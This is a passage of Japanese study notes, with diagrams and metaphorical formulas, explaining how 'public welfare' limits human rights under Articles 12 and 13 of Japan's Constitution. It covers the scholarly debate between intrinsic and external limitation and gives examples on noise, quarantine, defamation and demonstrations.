&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 表現の自由と他の人権（プライバシー権、名誉権など）が衝突する場合、調整が必要となる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 補強する条文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 憲法第12条（国民の責務）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**条文：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;「この憲法が国民に保障する自由及び権利は、国民の不断の努力によつて、これを保持しなければならない。又、国民は、これを濫用してはならないのであつて、常に公共の福祉のためにこれを利用する責任を負ふ。」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 国民は人権を濫用してはならない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 常に公共の福祉のために人権を利用する責任を負う&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権の行使には社会的責任が伴うことを明示&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 憲法第13条（個人の尊重・幸福追求権）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**条文：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;「すべて国民は、個人として尊重される。生命、自由及び幸福追求に対する国民の権利については、公共の福祉に反しない限り、立法その他の国政の上で、最大の尊重を必要とする。」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; すべての国民は個人として尊重される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 生命、自由及び幸福追求に対する国民の権利は、公共の福祉に反しない限り、最大の尊重を必要とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公共の福祉による制限が明示されている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**両条文の関係：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 憲法第12条と第13条では公共の福祉ということが書いてある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これらは、人権が公共の福祉による制限を受けることを示している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権の行使は、社会全体の利益との調和が必要であることを明示している&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# 公共の福祉の性質&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 公共の福祉とは&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;公共の福祉とは、人権の制限を正当化する根拠となる概念です。日本国憲法では、人権は「公共の福祉」による制限を受けるとされていますが、その具体的な内容については学説が分かれています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 学説の対立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[公共の福祉の学説] --&amp;gt; B[内在的制約説&amp;lt;br/&amp;gt;通説]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[外在的制約説&amp;lt;br/&amp;gt;少数説]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[宮沢俊義]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[芦部信喜]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; F[佐藤幸治]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[清宮四郎]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; H[佐々木惣一]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; I[人権に内在する制約]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; J[外部からの制約]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1. 内在的制約説（通説）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;公共の福祉は「内在的制約説」といわれる考えであり、現在の通説となっています。この学説は、主に宮沢俊義、芦部信喜、佐藤幸治などの憲法学者によって支持されてきました。これは以下の性質を持ちます：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**全ての人権に内在している**&lt;/span&gt;&lt;span&gt;（内在的制約説）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権は、もともと他者の人権との関係において制約される性質を持っている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権は、社会の中で他者と共存するために、自ずと制約される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**人権の相互間の矛盾や衝突の調整原理**&lt;/span&gt;&lt;span&gt;（実質的公平の原理）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権どうしが衝突した場合、公共の福祉が調整原理として働く&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各人権の保障を最大限に実現しつつ、全体としての公平を実現する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2. 外在的制約説（少数説）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権は本来無制限に保障されるべきものであり、公共の福祉は外部から人権を制限する根拠であるとする考え&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; この学説は、主に清宮四郎、佐々木惣一などの憲法学者によって支持されました&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; しかし、この説は現在では少数説となっており、内在的制約説が通説として確立しています&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 内在的制約説の優位性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;内在的制約説が通説となっている理由：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権は社会の中で行使されるものであり、他者との関係を無視することはできない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権の相互調整により、社会全体の利益が最大化される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 憲法第12条、第13条の「公共の福祉」の文言は、人権に内在する制約を示していると解釈される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 数式的表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 基本的な考え方&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;内在的制約説を数式で表現する試みは、主に憲法学の理論的説明のために用いられます。以下は、概念を理解しやすくするための比喩的な表現です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; すべての人権は以下の範囲で保障される：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   $$人権A \&lt;/span&gt;&lt;span&gt;cap&lt;/span&gt;&lt;span&gt; 公共の福祉 \&lt;/span&gt;&lt;span&gt;neq&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;emptyset&lt;/span&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   （すなわち、各人権は必ず公共の福祉の範囲内で行使される）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 人権どうしが衝突・矛盾した場合の調整は、以下の調整原理が適用される：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   $$\&lt;/span&gt;&lt;span&gt;max&lt;/span&gt;&lt;span&gt;(人権Aの保障, 人権Bの保障) \&lt;/span&gt;&lt;span&gt;Rightarrow&lt;/span&gt;&lt;span&gt; 実質的公平（バランス）$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### より詳細な数式表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;公共の福祉の性質（内在的制約説）を数式的に表現すると、ある個人Aの人権保障の限界は、他者（A以外全員）の人権とのバランスによって内在的に決定される、ということになります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**理論的根拠：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;この数式表現は、内在的制約説の理論的説明の一環として、憲法学において用いられる比喩的な表現です。実際の判例や法解釈において、このような数式が直接適用されるわけではありませんが、人権の相互制約の原理を理解するための概念的な説明として有効です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**数式による表現：**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;すなわち、  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Aの人権行使の上限 $&lt;/span&gt;&lt;span&gt;D_A$&lt;/span&gt;&lt;span&gt; は、以下のように表現されます：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$D_A = f(\&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;D_i | i \&lt;/span&gt;&lt;span&gt;neq&lt;/span&gt;&lt;span&gt; A\&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;)$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;A以外の全員の人権保障（$&lt;/span&gt;&lt;span&gt;D_i$&lt;/span&gt;&lt;span&gt;）の平均または調和的関係がAの行使可能な範囲（$&lt;/span&gt;&lt;span&gt;D_A$&lt;/span&gt;&lt;span&gt;）を規定します。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;言い換えれば、  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Aが享受できる人権の最大値（$&lt;/span&gt;&lt;span&gt;D_A$&lt;/span&gt;&lt;span&gt;）は、以下のように制限されます：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$D_A \&lt;/span&gt;&lt;span&gt;leq&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{1}{n-1}\&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;_{i \&lt;/span&gt;&lt;span&gt;neq&lt;/span&gt;&lt;span&gt; A} D_i = \&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{D_1 + D_2 + \&lt;/span&gt;&lt;span&gt;cdots&lt;/span&gt;&lt;span&gt; + D_{A-1} + D_{A+1} + \&lt;/span&gt;&lt;span&gt;cdots&lt;/span&gt;&lt;span&gt; + D_n}{n-1}$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Aの人権保障は他者全体のバランス内で「内在的に」決定されます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**具体例による説明：**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;例えば、社会に3人の個人（A、B、C）がいる場合を考えます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Aの人権行使の上限：$$&lt;/span&gt;&lt;span&gt;D_A &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{D_B + D_C}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Bの人権行使の上限：$$&lt;/span&gt;&lt;span&gt;D_B &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{D_A + D_C}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Cの人権行使の上限：$$&lt;/span&gt;&lt;span&gt;D_C &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{D_A + D_B}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このように、各個人の人権は、他の個人の人権との関係において制約され、全体としてのバランスが保たれます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この考え方が「内在的制約説」であり、実質的公平の原理・調整原理として働きます。人権は、社会の中で他者と共存するために、自ずと制約される性質を持っているということを示しています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 具体例：アパートでの音楽&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 事例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**Aさん**&lt;/span&gt;&lt;span&gt;は音楽を大音量で流したい（表現の自由・自己決定権）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**Bさん**&lt;/span&gt;&lt;span&gt;は静かな環境に住みたい（平穏に生活する権利・プライバシー権）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ここでAさんが行動を起こしたとき、AとBは衝突する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[Aさんの権利&amp;lt;br/&amp;gt;表現の自由] --&amp;gt; C[人権の衝突]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B[Bさんの権利&amp;lt;br/&amp;gt;平穏に生活する権利] --&amp;gt; C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[公共の福祉による調整]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[時間制限]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; F[音量制限]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; G[場所の制限]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; H[合意形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; I[両者の権利を&amp;lt;br/&amp;gt;バランスよく保障]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 調整の方法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**時間制限：**&lt;/span&gt;&lt;span&gt; Aさんは夜間や早朝の大音量を避ける&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**音量制限：**&lt;/span&gt;&lt;span&gt; Aさんは一定の音量以下に抑える&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**場所の制限：**&lt;/span&gt;&lt;span&gt; Aさんは防音設備のある場所で音楽を楽しむ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**合意形成：**&lt;/span&gt;&lt;span&gt; AさんとBさんが話し合い、互いに譲歩する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 公共の福祉の働き&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公共の福祉は、Aさんの表現の自由とBさんの平穏に生活する権利の両方を最大限に保障するよう調整する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 完全にどちらかの権利を否定するのではなく、両者の権利をバランスよく保障する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; この調整により、社会全体の利益（アパート全体の平穏な生活環境）が実現される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# 国民の人権がどのように制限されるのか&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 制限の原理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 基本的な考え方&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;人権を制約することによって得られる利益が、人権を制約することによって失われる利益より高いときに成立します。これは、&lt;/span&gt;&lt;span&gt;**利益衡量**&lt;/span&gt;&lt;span&gt;（りえきこうりょう：異なる利益を比較衡量して、より重要な利益を優先させる判断方法。英語では「バランス・テスト」とも呼ばれる）と呼ばれる考え方です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 制限の要件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;flowchart TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[人権制限の検討] --&amp;gt; B{目的の正当性}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|正当| C{手段の必要性}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|不当| X[違憲]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|必要不可欠| D{手段の相当性}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|不要| X&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt;|必要最小限| E{利益衡量}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt;|過度| X&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt;|得られる利益 &amp;gt; 失われる利益| F[合憲]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt;|得られる利益 ≤ 失われる利益| X&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**目的の正当性：**&lt;/span&gt;&lt;span&gt; 人権制限の目的が正当であること（公共の福祉の実現など）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の必要性：**&lt;/span&gt;&lt;span&gt; その目的を達成するために、人権制限が必要不可欠であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の相当性：**&lt;/span&gt;&lt;span&gt; 人権制限の程度が、目的達成のために必要最小限であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利益衡量：**&lt;/span&gt;&lt;span&gt; 制限によって得られる利益が、失われる利益を上回ること&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 制限の限界&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;人権制限には限界があります。以下の場合、人権制限は違憲となります：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**過度に広範な制限：**&lt;/span&gt;&lt;span&gt; 目的達成のために必要以上の広範な制限が行われる場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**目的と手段の不合理な関係：**&lt;/span&gt;&lt;span&gt; 目的と手段の間に合理的な関連性がない場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**必要最小限の原則違反：**&lt;/span&gt;&lt;span&gt; より制限の少ない手段で目的を達成できる場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利益衡量の不均衡：**&lt;/span&gt;&lt;span&gt; 制限によって失われる利益が、得られる利益を明らかに上回る場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの基準により、人権制限が適切な範囲内にとどめられているかが判断されます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 具体例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 例1：感染症患者の隔離&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事案：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;病原菌にかかったAに対して隔離する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**利益衡量：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**制限される利益：**&lt;/span&gt;&lt;span&gt; Aの移動の自由、プライバシー権&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**得られる利益：**&lt;/span&gt;&lt;span&gt; それ以外の人の生命・健康の保障、公衆衛生の維持&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判断：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;それ以外の人の利益を考えるとそちらの方が大きいので合憲である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**法的根拠：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;感染症の予防及び感染症の患者に対する医療に関する法律（感染症法）により、一定の感染症患者の隔離が認められています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 例2：表現の自由の制限&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事案：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;他人の名誉を毀損する表現を規制する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**利益衡量：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**制限される利益：**&lt;/span&gt;&lt;span&gt; 表現の自由&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**得られる利益：**&lt;/span&gt;&lt;span&gt; 他人の名誉権、人格権&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判断：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;表現の自由は重要であるが、他人の名誉を不当に毀損する表現は制限される。ただし、制限は必要最小限でなければならない。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**法的根拠：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;刑法第230条（名誉毀損罪）、民法第709条（不法行為）などにより、名誉毀損行為は規制されています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 例3：集会の自由の制限&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事案：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;デモ行進の事前届出を義務付ける。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**利益衡量：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**制限される利益：**&lt;/span&gt;&lt;span&gt; 集会の自由、表現の自由&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**得られる利益：**&lt;/span&gt;&lt;span&gt; 交通秩序の維持、公共の安全&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判断：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;事前届出は集会の自由を制限するが、交通秩序の維持などの目的のために必要最小限の制限として認められる場合がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
